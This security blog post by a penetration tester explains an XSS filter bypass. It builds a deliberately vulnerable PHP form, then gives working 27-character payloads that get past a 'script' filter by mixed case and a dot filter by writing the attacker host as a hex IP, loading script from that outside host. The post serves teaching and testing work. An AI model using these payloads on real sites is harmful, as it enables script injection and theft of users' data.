XSS Without Dots – Or, How to Fail Onyxia

This week I’d like to show XSS without dots, as a method of filter avoidance.


First, for those of you confused by the title, here is some internet education

Not too long ago I had a friend attempting some XSS against an interesting filter.

I’m going to base my vulnerable application off of the one I used for my Short XSS attack.

If you’d like to follow along, I will have the final application towards the bottom of this post.


First, it filtered out the word script. That said, this was not done in a case-insensitive way, which provided an easy bypass. For example:

$data = str_replace('script', '' , $data);

In this case, a simple “ScRiPt” would bypass it just fine.

Next, there was a length limitation. While this was already covered in the Short XSS post, it is still something to account for while building the exploit. For example:

$data = substr($data, 0, 27);

Last, but certainly not least, was the filter for dots. In this case, the application didn’t allow periods, preventing our old payload of r4y.pw. For example:

$data = str_replace('.', '', $data);

Final Application

In the end, the final vulnerable application looked something like this.


function xss_clean($data)
    $data = str_replace('script', '' , $data);

    $data = substr($data, 0, 27);

    $data = str_replace('.', '', $data);

    // $data = strtoupper($data);

    return $data;



<title>Vulnerable to Dotless XSS</title>


Here is my vulnerable form:
<input type="text" value="<?php echo xss_clean($_GET['value']); ?>" maxlength="27">

console.log("This is my logger function (I'll need this closing script tag later)!");



XSS Without Dots – Exploitation

Based on our Short XSS attack, our initial payload will look something like this.

value="><script src=//r4y.pw>

First, we’ll need to convert the script tag to camel-case.

value="><ScRiPt src=//r4y.pw>

We are already below the length limit, so we don’t need to worry about that filter.

Unfortunately, we still need to bypass the dot filter.

The easiest method would be to use a host name on the internal network. If you can host a script and access it using just a host name, then you can bypass this filter.

value="><ScRiPt src=//kali>

XSS Without Dots - Local Hostname

The source of the application contains the src to our “kali” host with the working payload.

<input type="text" value=""><ScRiPt SRC=//kali>" maxlength="27">

Unfortunately, in this case, he was unable to obtain or control a host name on the internal network. In this case, I had to perform some more trickery.

For those of you not aware, you can represent IP addresses in multiple ways. These include dot-decimal (standard), decimal, octal, and hex. The last three do not require dots at all, which is what this attack will use!

To make converting easier, I am using an IP manipulator tool from a former co-worker.

root@kali:~/moarDots# ping r4y.pw
PING r4y.pw ( 56(84) bytes of data.
64 bytes from ( icmp_seq=1 ttl=50 time=90.6 ms
--- r4y.pw ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 90.620/90.620/90.620/0.000 ms
root@kali:~/moarDots# python ip.py

        IP Address Manipulator       
------------------------------------- ----> ----> 138.197.49930 ----> 138.12960522 ----> 2328216330 ----> 0x8a.0xc5.0xc3.0xa ----> 0x8a.0xc5.0xc30a ----> 0x8a.0xc5c30a ----> 0x8ac5c30a ----> 0212.0305.0303.012 ----> 0212.0305.0141412 ----> 0212.061341412 ----> 021261341412

Now, we have an IP address for r4y.pw without dots, so let’s give it a try.

"><ScRiPt SRC=//0x8ac5c30a>" maxlength="27">

It worked, and the browser executed the payload!

XSS Without Dots - Hex IP

<input type="text" value=""><ScRiPt SRC=//0x8ac5c30a>" maxlength="27">

XSS Without Dots – Conclusion

While this was a bit of a contrived scenario, it was still something found in the real world.

XSS filters are not always perfect, and some interesting techniques can occasionally bypass them.

In this case, we ended up with an XSS payload of only 27 characters that bypassed a “script” filter as well as a dot filter. Additionally, it was hosted externally and could have a fully weaponized payload.

Ray Doyle on GithubRay Doyle on TwitterRay Doyle on Youtube
Ray Doyle
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

The hacking, recording, and streaming setup (Amazon Affiliate links):

📷 Logitech C920S Webcam - https://amzn.to/2NHq2en
🎤 Blue Yeti USB Mic - https://amzn.to/2ZRwrGc
⌨ Corsair K65 - https://amzn.to/3dLlbU0
🖱 Razer DeathAdder Chroma - https://amzn.to/3uw0Gk8
📺 Alienware 34" WQHD monitor - https://amzn.to/2ZOBxmP
🔊 Logitech Z263 - https://amzn.to/3stchyw

As an Amazon Associate I earn from qualifying purchases.

Common passed on this blog, I made it to a jam.

2 thoughts on “XSS Without Dots – Or, How to Fail Onyxia”

  1. Pingback: XSS in WordPress Elementor Plugin

Leave a Comment

Your email address will not be published. Required fields are marked *


This site uses Akismet to reduce spam. Learn how your comment data is processed.